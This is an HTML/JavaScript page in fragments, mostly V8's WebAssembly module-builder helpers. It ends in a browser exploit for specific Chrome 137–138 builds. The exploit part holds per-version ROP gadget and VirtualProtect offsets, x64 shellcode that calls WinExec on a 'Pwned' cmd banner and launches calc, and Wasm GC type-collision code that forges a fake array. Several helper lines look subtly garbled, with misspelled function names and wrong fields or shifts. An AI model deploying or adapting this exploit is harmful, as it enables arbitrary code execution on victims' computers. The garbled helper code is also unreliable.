1432.         throw new Error(
1433.             'Add imported memories before declared memories to avoid messing ' +
1434.             'up the indexes');
1435.     }
1436.     let mem_index = this.imports.filter(i => i.kind === kExternalMemory).length;
1437.     let o = {
1438.         module: module,
1439.         name: name,
1440.         kind: kExternalMemory,
1441.         initial: initial,
1442.         maximum: maximum,
1443.         shared: !!shared,
1444.         is_memory64: !!is_memory64
1445.     };
1446.     this.imports.push(o);
1447.     return mem_index;
1448. }
1449. addImportedTable(
1450.     module, name, initial, maximum, type = kWasmFuncRef, is_table64 = false) {
1451.     if (this.tables.length !== 0) {

```



```

1458.         kind: kExternalTable,
1459.         initial: initial,
1460.         maximum: maximum,
1461.         type: type,
1462.         is_table64: !!is_table64
1463.     };
1464.     this.imports.push(o);
1465.     return this.num_imported_tables++;
1466. }
1467. addImportedTag(module, name, type) {
1468.     if (this.tags.length !== 0) {
1469.         throw new Error('Imported tags must be declared before local ones');
1470.     }
1471.     let type_index = (typeof type) === 'number' ? type : this.addType(type);
1472.     let o = {
1473.         module: module,
1474.         name: name,
1475.         kind: kExternalTag,
1476.         type_index: type_index
1477.     };
1478.     this.imports.push(o);
1479.     return this.num_imported_tags++;
1480. }
1481. addExport(name, index) {
1482.     this.exports.push({ name: name, kind: kExternalFunction, index: index });
1483.     return this;
1484. }
1485. addExportOfKind(name, kind, index) {
1486.     if (index === undefined && kind !== kExternalTable &&
1487.         kind !== kExternalMemory) {
1488.         throw new Error(
1489.             'Index for exports other than tables/memories must be provided');
1490.     }
1491.     if (index !== undefined && (typeof index) !== 'number') {
1492.         throw new Error('Index for exports must be a number')
1493.     }
1494.     this.exports.push({ name: name, kind: kind, index: index });
1495.     return this;
1496. }
1497. setCompilationHint(strategy, baselineTier, topTier, index) {
1498.     this.compilation_hints[index] = {
1499.         strategy: strategy,
1500.         baselineTier: baselineTier,
1501.         topTier: topTier
1502.     };
1503.     return this;
1504. }
1505. addActiveDataSegment(memory_index, offset, data, is_shared = false) {
1506.     checkExpr(offset);
1507.     this.data_segments.push({
1508.         is_active: true,
1509.         is_shared: is_shared,
1510.         mem_index: memory_index,
1511.         offset: offset,
1512.         data: data
1513.     });
1514.     return this.data_segments.length - 1;
1515. }
1516. addPassiveDataSegment(data, is_shared = false) {

```



```

1.      exportMemoryAs(name, memory_index) {
1522.         if (memory_index === undefined) {
1523.             const num_memories = this.memories.length +
1524.                 this.imports.filter(i => i.kind == kExternalMemory).length;
1525.             if (num_memories !== 1) {
1526.                 throw new Error(
1527.                     'Pass memory index to \'exportMemoryAs\' if there is not exactly ' +
1528.                     'one memory imported or declared.');
```



```

1586.         if (this.tables.length != 0) {
1587.             throw new Error('The table bounds of table \'0\' have already been set.')
```




```

1650.         section.emit_u8(kWasmArrayTypeForm);
1651.         section.emit_type(type.type);
1652.         section.emit_u8(type.mutability ? 1 : 0);
1653.     } else {
1654.         section.emit_u8(kWasmFunctionTypeForm);
1655.         section.emit_u32v(type.params.length);
1656.         for (let param of type.params) {
1657.             section.emit_type(param);
1658.         }
1659.         section.emit_u32v(type.results.length);
1660.         for (let result of type.results) {
1661.             section.emit_type(result);
1662.         }
1663.     }
1664. });
1665. }
1666. // Add imports section.
1667. if (wasm.imports.length > 0) {
1668.     if (debug) print('emitting imports @ ' + binary.length);
1669.     binary.emit_section(kImportSectionCode, section => {
1670.         section.emit_u32v(wasm.imports.length);
1671.         for (let imp of wasm.imports) {
1672.             section.emit_string(imp.module);
1673.             section.emit_string(imp.name || '');
1674.             section.emit_u8(imp.kind);
1675.             if (imp.kind == kExternalFunction) {
1676.                 section.emit_u32v(imp.type_index);
1677.             } else if (imp.kind == kExternalGlobal) {
1678.                 section.emit_type(imp.type);
1679.                 let flags = (imp.mutable ? 1 : 0) | (imp.shared ? 0b10 : 0);
1680.                 section.emit_u8(flags);
1681.             } else if (imp.kind == kExternalMemory) {
1682.                 const has_max = imp.maximum !== undefined;
1683.                 const is_shared = !!imp.shared;
1684.                 const is_memory64 = !!imp.is_memory64;
1685.                 let limits_byte =
1686.                     (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);
1687.                 section.emit_u8(limits_byte);
1688.                 let emit = val =>
1689.                     is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);
1690.                 emit(imp.initial);
1691.                 if (has_max) emit(imp.maximum);
1692.             } else if (imp.kind == kExternalTable) {
1693.                 section.emit_type(imp.type);
1694.                 const has_max = (typeof imp.maximum) != 'undefined';
1695.                 // TODO(manoskouk): Store sharedness as a property.
1696.                 const is_shared = false;
1697.                 const is_table64 = !!imp.is_table64;
1698.                 let limits_byte =
1699.                     (is_table64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);
1700.                 section.emit_u8(limits_byte); // flags
1701.                 section.emit_u32v(imp.initial); // initial
1702.                 if (has_max) section.emit_u32v(imp.maximum); // maximum
1703.             } else if (imp.kind == kExternalTag) {
1704.                 section.emit_u32v(kExceptionAttribute);
1705.                 section.emit_u32v(imp.type_index);
1706.             } else {
1707.                 throw new Error('unknown/unsupported import kind ' + imp.kind);

```



```

1714.   if (wasm.functions.length > 0) {
1715.       if (debug) print('emitting function decls @ ' + binary.length);
1716.       binary.emit_section(kFunctionSectionCode, section => {
1717.           section.emit_u32v(wasm.functions.length);
1718.           for (let func of wasm.functions) {
1719.               section.emit_u32v(func.type_index);
1720.           }
1721.       });
1722.   }
1723.   // Add table section.
1724.   if (wasm.tables.length > 0) {
1725.       if (debug) print('emitting tables @ ' + binary.length);
1726.       binary.emit_section(kTableSectionCode, section => {
1727.           section.emit_u32v(wasm.tables.length);
1728.           for (let table of wasm.tables) {
1729.               if (table.has_init) {
1730.                   section.emit_u8(0x40); // "has initializer"
1731.                   section.emit_u8(0x00); // Reserved byte.
1732.               }
1733.               section.emit_type(table.type);
1734.               let limits_byte = (table.is_table64 ? 4 : 0) |
1735.                 (table.is_shared ? 2 : 0) | (table.has_max ? 1 : 0);
1736.               section.emit_u8(limits_byte);
1737.               let emit = val => table.is_table64 ? section.emit_u64v(val) :
1738.                 section.emit_u32v(val);
1739.               emit(table.initial_size);
1740.               if (table.has_max) emit(table.max_size);
1741.               if (table.has_init) section.emit_init_expr(table.init_expr);
1742.           }
1743.       });
1744.   }
1745.   // Add memory section.
1746.   if (wasm.memories.length > 0) {
1747.       if (debug) print('emitting memories @ ' + binary.length);
1748.       binary.emit_section(kMemorySectionCode, section => {
1749.           section.emit_u32v(wasm.memories.length);
1750.           for (let memory of wasm.memories) {
1751.               const has_max = memory.max !== undefined;
1752.               const is_shared = !!memory.shared;
1753.               const is_memory64 = !!memory.is_memory64;
1754.               let limits_byte =
1755.                 (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);
1756.               section.emit_u8(limits_byte);
1757.               let emit = val =>
1758.                 is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);
1759.               emit(memory.min);
1760.               if (has_max) emit(memory.max);
1761.           }
1762.       });
1763.   }
1764.   // Add tag section.
1765.   if (wasm.tags.length > 0) {
1766.       if (debug) print('emitting tags @ ' + binary.length);
1767.       binary.emit_section(kTagSectionCode, section => {
1768.           section.emit_u32v(wasm.tags.length);
1769.           for (let type_index of wasm.tags) {
1770.               section.emit_u32v(kExceptionAttribute);
1771.               section.emit_u32v(type_index);

```



```

1778.     binary.emit_section(kStringRefSectionCode, section => {
1779.         section.emit_u32v(0);
1780.         section.emit_u32v(wasm.stringrefs.length);
1781.         for (let str of wasm.stringrefs) {
1782.             section.emit_string(str);
1783.         }
1784.     });
1785. }
1786. // Add global section.
1787. if (wasm.globals.length > 0) {
1788.     if (debug) print('emitting globals @ ' + binary.length);
1789.     binary.emit_section(kGlobalSectionCode, section => {
1790.         section.emit_u32v(wasm.globals.length);
1791.         for (let global of wasm.globals) {
1792.             section.emit_type(global.type);
1793.             section.emit_u8((global.mutable ? 1 : 0) | (global.shared ? 0b10 : 0));
1794.             section.emit_init_expr(global.init);
1795.         }
1796.     });
1797. }
1798. // Add export table.
1799. var exports_count = wasm.exports.length;
1800. if (exports_count > 0) {
1801.     if (debug) print('emitting exports @ ' + binary.length);
1802.     binary.emit_section(kExportSectionCode, section => {
1803.         section.emit_u32v(exports_count);
1804.         for (let exp of wasm.exports) {
1805.             section.emit_string(exp.name);
1806.             section.emit_u8(exp.kind);
1807.             section.emit_u32v(exp.index);
1808.         }
1809.     });
1810. }
1811. // Add start function section.
1812. if (wasm.start_index !== undefined) {
1813.     if (debug) print('emitting start function @ ' + binary.length);
1814.     binary.emit_section(kStartSectionCode, section => {
1815.         section.emit_u32v(wasm.start_index);
1816.     });
1817. }
1818. // Add element segments.
1819. if (wasm.element_segments.length > 0) {
1820.     if (debug) print('emitting element segments @ ' + binary.length);
1821.     binary.emit_section(kElementSectionCode, section => {
1822.         var segments = wasm.element_segments;
1823.         section.emit_u32v(segments.length);
1824.         for (let segment of segments) {
1825.             // Emit flag and header.
1826.             // Each case below corresponds to a flag from
1827.             // https://webassembly.github.io/spec/core/binary/modules.html#element
1828.             // (not in increasing order).
1829.             let shared_flag = segment.is_shared ? 0b1000 : 0;
1830.             if (segment.is_active()) {
1831.                 if (segment.table == 0 && segment.type === undefined) {
1832.                     if (segment.expressions_as_elements()) {
1833.                         section.emit_u8(0x04 | shared_flag);
1834.                         section.emit_init_expr(segment.offset);
1835.                     } else {
1836.                         section.emit_u8(0x00 | shared_flag);

```



```

1.         section.emit_u32v(segment.table);
1842.        section.emit_init_expr(segment.offset);
1843.        section.emit_type(segment.type);
1844.    } else {
1845.        section.emit_u8(0x02 | shared_flag);
1846.        section.emit_u32v(segment.table);
1847.        section.emit_init_expr(segment.offset);
1848.        section.emit_u8(kExternalFunction);
1849.    }
1850.    }
1851.    } else {
1852.        if (segment.expressions_as_elements()) {
1853.            if (segment.is_passive()) {
1854.                section.emit_u8(0x05 | shared_flag);
1855.            } else {
1856.                section.emit_u8(0x07 | shared_flag);
1857.            }
1858.            section.emit_type(segment.type);
1859.        } else {
1860.            if (segment.is_passive()) {
1861.                section.emit_u8(0x01 | shared_flag);
1862.            } else {
1863.                section.emit_u8(0x03 | shared_flag);
1864.            }
1865.            section.emit_u8(kExternalFunction);
1866.        }
1867.    }
1868.    // Emit elements.
1869.    section.emit_u32v(segment.elements.length);
1870.    for (let element of segment.elements) {
1871.        if (segment.expressions_as_elements()) {
1872.            section.emit_init_expr(element);
1873.        } else {
1874.            section.emit_u32v(element);
1875.        }
1876.    }
1877.    }
1878.    })
1879.    }
1880.    // If there are any passive data segments, add the DataCount section.
1881.    if (wasm.data_segments.some(seg => !seg.is_active)) {
1882.        binary.emit_section(kDataCountSectionCode, section => {
1883.            section.emit_u32v(wasm.data_segments.length);
1884.        });
1885.    }
1886.    // If there are compilation hints add a custom section 'compilationHints'
1887.    // after the function section and before the code section.
1888.    if (wasm.compilation_hints.length > 0) {
1889.        if (debug) print('emitting compilation hints @ ' + binary.length);
1890.        // Build custom section payload.
1891.        let payloadBinary = new Binary();
1892.        let implicit_compilation_hints_count = wasm.functions.length;
1893.        payloadBinary.emit_u32v(implicit_compilation_hints_count);
1894.        // Defaults to the compiler's choice if no better hint was given (0x00).
1895.        let defaultHintByte = kCompilationHintStrategyDefault |
1896.            (kCompilationHintTierDefault << 2) |
1897.            (kCompilationHintTierDefault << 4);
1898.        // Emit hint byte for every function defined in this module.
1899.        for (let i = 0; i < implicit_compilation_hints_count; i++) {

```



```

1905.         hint.strategy | (hint.baselinetier << 2) | (hint.copier << 4);
1906.     } else {
1907.         hintByte = defaultHintByte;
1908.     }
1909.     payloadBinary.emit_u8(hintByte);
1910. }
1911. // Finalize as custom section.
1912. let name = 'compilationHints';
1913. let bytes = this.createCustomSection(name, payloadBinary.trunc_buffer());
1914. binary.emit_bytes(bytes);
1915. }
1916. // Add function bodies.
1917. if (wasm.functions.length > 0) {
1918.     // emit function bodies
1919.     if (debug) print('emitting code @ ' + binary.length);
1920.     let section_length = 0;
1921.     binary.emit_section(kCodeSectionCode, section => {
1922.         section.emit_u32v(wasm.functions.length);
1923.         let header;
1924.         for (let func of wasm.functions) {
1925.             if (func.locals.length == 0) {
1926.                 // Fast path for functions without locals.
1927.                 section.emit_u32v(func.body.length + 1);
1928.                 section.emit_u8(0); // 0 locals.
1929.             } else {
1930.                 // Build the locals declarations in separate buffer first.
1931.                 if (!header) header = new Binary;
1932.                 header.reset();
1933.                 header.emit_u32v(func.locals.length);
1934.                 for (let decl of func.locals) {
1935.                     header.emit_u32v(decl.count);
1936.                     header.emit_type(decl.type);
1937.                 }
1938.                 section.emit_u32v(header.length + func.body.length);
1939.                 section.emit_bytes(header.trunc_buffer());
1940.             }
1941.             // Set to section offset for now, will update.
1942.             func.body_offset = section.length;
1943.             section.emit_bytes(func.body);
1944.         }
1945.         section_length = section.length;
1946.     });
1947.     for (let func of wasm.functions) {
1948.         func.body_offset += binary.length - section_length;
1949.     }
1950. }
1951. // Add data segments.
1952. if (wasm.data_segments.length > 0) {
1953.     if (debug) print('emitting data segments @ ' + binary.length);
1954.     binary.emit_section(kDataSectionCode, section => {
1955.         section.emit_u32v(wasm.data_segments.length);
1956.         for (let seg of wasm.data_segments) {
1957.             let shared_flag = seg.is_shared ? 0b1000 : 0;
1958.             if (seg.is_active) {
1959.                 if (seg.mem_index == 0) {
1960.                     section.emit_u8(kActiveNoIndex | shared_flag);
1961.                 } else {
1962.                     section.emit_u8(kActiveWithIndex | shared_flag);
1963.                     section.emit_u32v(seg.mem_index);

```



```

1970.         section.emit_u32v(seg.data.length);
1971.         section.emit_bytes(seg.data);
1972.     }
1973. });
1974. // Add any explicitly added sections.
1975. for (let exp of wasm.explicit) {
1976.     if (debug) print('emitting explicit @ ' + binary.length);
1977.     binary.emit_bytes(exp);
1978. }
1979. // Add names.
1980. let num_function_names = 0;
1981. let num_functions_with_local_names = 0;
1982. for (let func of wasm.functions) {
1983.     if (func.name !== undefined) ++num_function_names;
1984.     if (func.numLocalNames() > 0) ++num_functions_with_local_names;
1985. }
1986. if (num_function_names > 0 || num_functions_with_local_names > 0 ||
1987.     wasm.name !== undefined) {
1988.     if (debug) print('emitting names @ ' + binary.length);
1989.     binary.emit_section(kUnknownSectionCode, section => {
1990.         section.emit_string('name');
1991.         // Emit module name.
1992.         if (wasm.name !== undefined) {
1993.             section.emit_section(kModuleNameCode, name_section => {
1994.                 name_section.emit_string(wasm.name);
1995.             });
1996.         }
1997.         // Emit function names.
1998.         if (num_function_names > 0) {
1999.             section.emit_section(kFunctionNamesCode, name_section => {
2000.                 name_section.emit_u32v(num_function_names);
2001.                 for (let func of wasm.functions) {
2002.                     if (func.name === undefined) continue;
2003.                     name_section.emit_u32v(func.index);
2004.                     name_section.emit_string(func.name);
2005.                 }
2006.             });
2007.         }
2008.         // Emit local names.
2009.         if (num_functions_with_local_names > 0) {
2010.             section.emit_section(kLocalNamesCode, name_section => {
2011.                 name_section.emit_u32v(num_functions_with_local_names);
2012.                 for (let func of wasm.functions) {
2013.                     if (func.numLocalNames() == 0) continue;
2014.                     name_section.emit_u32v(func.index);
2015.                     name_section.emit_u32v(func.numLocalNames());
2016.                     let name_index = 0;
2017.                     for (let i = 0; i < func.local_names.length; ++i) {
2018.                         if (typeof func.local_names[i] == 'string') {
2019.                             name_section.emit_u32v(name_index);
2020.                             name_section.emit_string(func.local_names[i]);
2021.                             name_index++;
2022.                         } else {
2023.                             name_index += func.local_names[i];
2024.                         }
2025.                     }
2026.                 }
2027.             });

```



```

2034.     COArray(debug = false) {
2035.         return Array.from(this.toBuffer(debug));
2036.     }
2037.     instantiate(ffi, options) {
2038.         let module = this.toModule(options);
2039.         let instance = new WebAssembly.Instance(module, ffi);
2040.         return instance;
2041.     }
2042.     asyncInstantiate(ffi) {
2043.         return WebAssembly.instantiate(this.toBuffer(), ffi)
2044.             .then(({ module, instance }) => instance);
2045.     }
2046.     toModule(options, debug = false) {
2047.         return new WebAssembly.Module(this.toBuffer(debug), options);
2048.     }
2049.     function wasmSignedLeb(val, max_len = 5) {
2050.         if (val == null) throw new Error("Leb value may not be null/undefined");
2051.         let res = [];
2052.         for (let i = 0; i < max_len; ++i) {
2053.             let v = val & 0x7f;
2054.             // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.
2055.             if ((v << 25) >> 25) == val) {
2056.                 res.push(v);
2057.                 return res;
2058.             }
2059.             res.push(v | 0x80);
2060.             val = val >> 7;
2061.         }
2062.         throw new Error(
2063.             'Leb value <' + val + '> exceeds maximum length of ' + max_len);
2064.     }
2065.     function wasmSignedLeb64(val, max_len = 10) {
2066.         if (val == null) throw new Error("Leb value may not be null/undefined");
2067.         if (typeof val != "bigint") {
2068.             if (val < Math.pow(2, 31)) {
2069.                 return wasmSignedLeb(val, max_len);
2070.             }
2071.             val = BigInt(val);
2072.         }
2073.         let res = [];
2074.         for (let i = 0; i < max_len; ++i) {
2075.             let v = val & 0x7fn;
2076.             // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.
2077.             if (BigInt.asIntN(7, v) == val) {
2078.                 res.push(Number(v));
2079.                 return res;
2080.             }
2081.             res.push(Number(v) | 0x80);
2082.             val = val >> 7n;
2083.         }
2084.         throw new Error(
2085.             'Leb value <' + val + '> exceeds maximum length of ' + max_len);
2086.     }
2087.     function wasmUnsignedLeb(val, max_len = 5) {
2088.         if (val == null) throw new Error("Leb value many not be null/undefined");
2089.         let res = [];
2090.         for (let i = 0; i < max_len; ++i) {
2091.             let v = val & 0x7f;

```



```

2098.         val = val >>> 5;
2099.     }
2100.     throw new Error(
2101.         'Leb value <' + val + '> exceeds maximum length of ' + max_len);
2102. }
2103. function wasmI32Const(val) {
2104.     return [kExprI32Const, ...wasmsignedLeb(val, 5)];
2105. }
2106. // Note: Since {val} is a JS number, the generated constant only has 53 bits of
2107. // precision.
2108. function wasmI64Const(val) {
2109.     return [kExprI64Const, ...wasmsignedLeb64(val, 10)];
2110. }
2111. function wasmF32Const(f) {
2112.     // Write in little-endian order at offset 0.
2113.     data_view.setFloat32(0, f, true);
2114.     return [
2115.         kExprF32Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3]
2116.     ];
2117. }
2118. function wasmF64Const(f) {
2119.     // Write in little-endian order at offset 0.
2120.     data_view.setFloat64(0, f, true);
2121.     return [
2122.         kExprF64Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3],
2123.         byte_view[4], byte_view[5], byte_view[6], byte_view[7]
2124.     ];
2125. }
2126. function wasmS128Const(f) {
2127.     // Write in little-endian order at offset 0.
2128.     if (Array.isArray(f)) {
2129.         if (f.length !== 16) throw new Error('S128Const needs 16 bytes');
2130.         return [kSimdPrefix, kExprS128Const, ...f];
2131.     }
2132.     let result = [kSimdPrefix, kExprS128Const];
2133.     if (arguments.length === 2) {
2134.         for (let j = 0; j < 2; j++) {
2135.             data_view.setFloat64(0, arguments[j], true);
2136.             for (let i = 0; i < 8; i++) result.push(byte_view[i]);
2137.         }
2138.     } else if (arguments.length === 4) {
2139.         for (let j = 0; j < 4; j++) {
2140.             data_view.setFloat32(0, arguments[j], true);
2141.             for (let i = 0; i < 4; i++) result.push(byte_view[i]);
2142.         }
2143.     } else {
2144.         throw new Error('S128Const needs an array of bytes, or two f64 values, ' +
2145.             'or four f32 values');
2146.     }
2147.     return result;
2148. }
2149. let [wasmBrOnCast, wasmBrOnCastFail] = (function () {
2150.     return [
2151.         (labelIdx, sourceType, targetType) =>
2152.             wasmBrOnCastImpl(labelIdx, sourceType, targetType, false),
2153.         (labelIdx, sourceType, targetType) =>
2154.             wasmBrOnCastImpl(labelIdx, sourceType, targetType, true),
2155.     ];
2156.     function wasmBrOnCastImpl(labelIdx, sourceType, targetType, brOnFail) {

```




```

1.      flags = (tgtIsNullable << 1) + srcIsNullable;
2162.     return [
2163.         kGCPrefix, brOnFail ? kExprBrOnCastFail : kExprBrOnCast,
2164.         flags, ...labelIdx, ...srcHeap, ...tgtHeap];
2165.     }
2166. })();
2167. function getOpcodeName(opcode) {
2168.     return globalThis.kWasmOpcodeNames?.[opcode] ?? 'unknown';
2169. }
2170. // Make a wasm export "promising" using JS Promise Integration.
2171. function ToPromising(wasm_export) {
2172.     let sig = wasm_export.type();
2173.     assertTrue(sig.parameters.length > 0);
2174.     assertEquals('externref', sig.parameters[0]);
2175.     let wrapper_sig = {
2176.         parameters: sig.parameters.slice(1),
2177.         results: ['externref']
2178.     };
2179.     return new WebAssembly.Function(
2180.         wrapper_sig, wasm_export, { promising: 'first' });
2181. }
2182. function wasmF32ConstSignalingNaN() {
2183.     return [kExprF32Const, 0xb9, 0xa1, 0xa7, 0x7f];
2184. }
2185. function wasmF64ConstSignalingNaN() {
2186.     return [kExprF64Const, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf4, 0x7f];
2187. }
2188. </script>
2189.
2190. <script>
2191.     async function exp() {
2192.         function checkUA(chrome_leak) {
2193.             if ((chrome_leak & 0xffffn) === 0x1000n) {
2194.                 browser_type = 'chrome';
2195.                 browser_version = '137.0.7151.40';
2196.                 base_leak_ofs = 0xea01000n;
2197.                 pop_gadget = 0xc928n;
2198.                 prax_ret = 0x27ccn;
2199.                 jmp_drax = 0x4677en;
2200.                 virtualprotect_iat_ofs = 0xe6a4fe8n;
2201.             } else if ((chrome_leak & 0xffffn) === 0xd100n) {
2202.                 browser_type = 'chrome';
2203.                 browser_version = '137.0.7151.56';
2204.                 base_leak_ofs = 0xe9dd100n;
2205.                 pop_gadget = 0x1c18n;
2206.                 prax_ret = 0x282cn;
2207.                 jmp_drax = 0x36b9en;
2208.                 virtualprotect_iat_ofs = 0xe680ff0n;
2209.             } else if ((chrome_leak & 0xffffn) === 0xcb40n) {
2210.                 browser_type = 'chrome';
2211.                 browser_version = '138.0.7191.0';
2212.                 base_leak_ofs = 0xebbcb40n;
2213.                 pop_gadget = 0x1038n;
2214.                 prax_ret = 0x241cn;
2215.                 jmp_drax = 0x3dad6n;
2216.                 virtualprotect_iat_ofs = 0xe85fa58n;
2217.             } else if ((chrome_leak & 0xffffn) === 0x71c0n) {
2218.                 browser_type = 'chrome';
2219.                 browser_version = '138.0.7204.4';

```



```

2226.
2227.     if (window.browser_type === undefined) {
2228.         console.log('[!] checkUA() fail!!!!');
2229.         console.log('[*] navigator.userAgent = ' + navigator.userAgent);
2230.         console.log('[*] chrome_leak = ' + chrome_leak.toString(16));
2231.     } else {
2232.         console.log('[+] checkUA() Browser: ' + browser_type[0].toUpperCase() +
browser_type.slice(1) + ' ' + browser_version);
2233.     }
2234. }
2235.
2236. function hookLog() {
2237.     const logTextarea = window.log;
2238.     const ConsoleLog = console.log;
2239.     console.realLog = ConsoleLog;
2240.     console.log = (...args) => {
2241.         logTextarea.value += args.join(' ') + '\n';
2242.         ConsoleLog.apply(console, args);
2243.     };
2244. }
2245.
2246. hookLog();
2247.
2248. // WinExec(sc+sc.len, 1)
2249. const sc = [0x48, 0x83, 0xec, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec,
0x44, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x15, 0xed, 0x00,
0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8, 0x4a, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00,
0x8d, 0x0d, 0xe5, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0xd6, 0x00, 0x00,
0x8b, 0x4c, 0x24, 0x20, 0xe8, 0x2b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0xb9, 0xff,
0xff, 0xff, 0xd0, 0x48, 0x89, 0xd8, 0xeb, 0xf4, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60,
0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b,
0x8b, 0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x28,
0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00,
0x01, 0xcb, 0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48, 0x31,
0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b, 0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24,
0x8b, 0x54, 0x24, 0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48,
0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0xff, 0xc6, 0xeb, 0xd4,
0x4c, 0x24, 0x28, 0x8b, 0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77,
0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8, 0x41, 0x58, 0x5e, 0x5f,
0x53, 0x8a, 0x01, 0x8a, 0x1a, 0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48,
0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0, 0x5b, 0xc3, 0x57,
0x45, 0x78, 0x65, 0x63, 0x00, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x00];
2250.     cmd = 'cmd /c "title Pwned! & echo \x1b[4;97mPwned by Seunghyun Lee (@0x10n),
2025\x1b[0m & echo \x1b[5;96m & echo /$$$$$$ /$$ /$$ /$$ /$$$$$$$/
echo ^| $$__ $$^| $$ /$ ^| $$^| $$$ ^| $$^| $$____/^| $$__ $$^| $$ & echo ^|
/$$$^| $$^| $$$^| $$^| $$ ^| $$ \\\ $$^| $$ & echo ^| $$$$$$/^| $$/$$ $$ $$
$$$$ ^| $$ ^| $$^| $$ & echo ^| $$____/ ^| $$$$_ $$$^| $$ $$$^| $$__/ ^|
echo ^| $$ ^| $$$/ \\\ $$$^| $$$\ $$$^| $$ ^| $$ ^| $$ & echo ^|
\\ $$^| $$ \\\ $$^| $$$$$$$^| $$$$$$/ /$$ & echo ^|__/_ ^|__/_ \\\_/_/^|__
\\_/_/^|_____/^|_____/ ^|__/_ & echo \x1b[0m & calc & cmd"';
2251.     for (let i = 0; i < cmd.length; i++) {
2252.         sc.push(cmd.charCodeAt(i));
2253.     }
2254.     sc.push(0x00);
2255.
2256.     const BASE_RND_FIELDS = 8;
2257.     const BRUTE_FIELDS = 31;
2258.     const colls = [

```



```

2265.         field: BASE_RND_FIELDS + 1,
2266.     };
2267.
2268.     function convert_to_fields(base, idx, relidx_t1) {
2269.         let fields = [], init = [];
2270.         for (let i = 0; i < BASE_RND_FIELDS; i++) {
2271.             let is_i32 = !(base & (1 << i));
2272.             fields.push(makeField(is_i32 ? kWasmI32 : kWasmI64, true));
2273.             if (is_i32) {
2274.                 init.push(...wasmI32Const(0));
2275.             } else {
2276.                 init.push(...wasmI64Const(0n));
2277.             }
2278.         }
2279.         for (let i = 0; i < BRUTE_FIELDS; i++) {
2280.             let is_nullable = !(idx & (1n << BigInt(i)));
2281.             let reftype = is_nullable ? wasmRefNullType(relidx_t1) : wasmRefType(relidx_t1);
2282.             fields.push(makeField(reftype, true));
2283.             if (is_nullable) {
2284.                 init.push(kExprRefNull, ...wasmSignedLeb(relidx_t1));
2285.             } else {
2286.                 init.push(kGCPrefix, kExprStructNewDefault, ...wasmSignedLeb(relidx_t1));
2287.             }
2288.         }
2289.         return [fields, init];
2290.     }
2291.
2292.     let instance = (() => {
2293.         for (const coll of colls) {
2294.             let builder = new WasmModuleBuilder();
2295.
2296.             builder.startRecGroup();
2297.             let $t0_null = builder.addArray(kWasmI32, true);
2298.             let $t1_null = builder.addStruct([
2299.                 ...Array(8191).fill(makeField(kWasmI64, true)),
2300.                 makeField(kWasmI32, true),
2301.                 makeField(wasmRefNullType($t0_null), true)
2302.             ]);
2303.             let [t2_null_fields, t2_null_init] = convert_to_fields(coll.base, coll.nullable, $t1_null);
2304.             let $t2_null = builder.addStruct(t2_null_fields);
2305.             builder.endRecGroup();
2306.
2307.             builder.startRecGroup();
2308.             let $t0_nonnull = builder.addArray(kWasmI32, true);
2309.             let $t1_nonnull = builder.addStruct([
2310.                 ...Array(8191).fill(makeField(kWasmI64, true)),
2311.                 makeField(kWasmI32, true),
2312.                 makeField(wasmRefNullType($t0_nonnull), true)
2313.             ]);
2314.             let [t2_nonnull_fields, _t2_nonnull_init] = convert_to_fields(coll.base, coll.nonnull, $t1_nonnull);
2315.             let $t2_nonnull = builder.addStruct(t2_nonnull_fields);
2316.             builder.endRecGroup();
2317.
2318.             let $ar = builder.addArray(kWasmExternRef, true);
2319.
2320.             let $sig_arr_v = builder.addType(makeSig([], [wasmRefNullType($t0_nonnull)]));
2321.             let $sig_i_v = builder.addType(kSig_i_v);

```



```

2328. let $g_arr = builder.addGlobal(wasmRefNullType($t0_nonnull), true).export
2329.
2330. let $fakearr = builder.addFunction('fakearr', $sig_arr_v).addBody([
2331.   // $t2_null -> WasmNull: ref null $t1
2332.   ...t2_null_init,
2333.   kGCPrefix, kExprStructNew, $t2_null,
2334.
2335.   // $t2_nonnull -> WasmNull: ref $t1
2336.   kGCPrefix, kExprStructGet, $t2_nonnull, ...wasmSignedLeb(coll.field),
2337.
2338.   // [0x20001] = 0x475 <MetaMap (null)>: ref null $t0
2339.   kGCPrefix, kExprStructGet, $t1_nonnull, ...wasmSignedLeb(8192),
2340. ]).exportFunc();
2341.
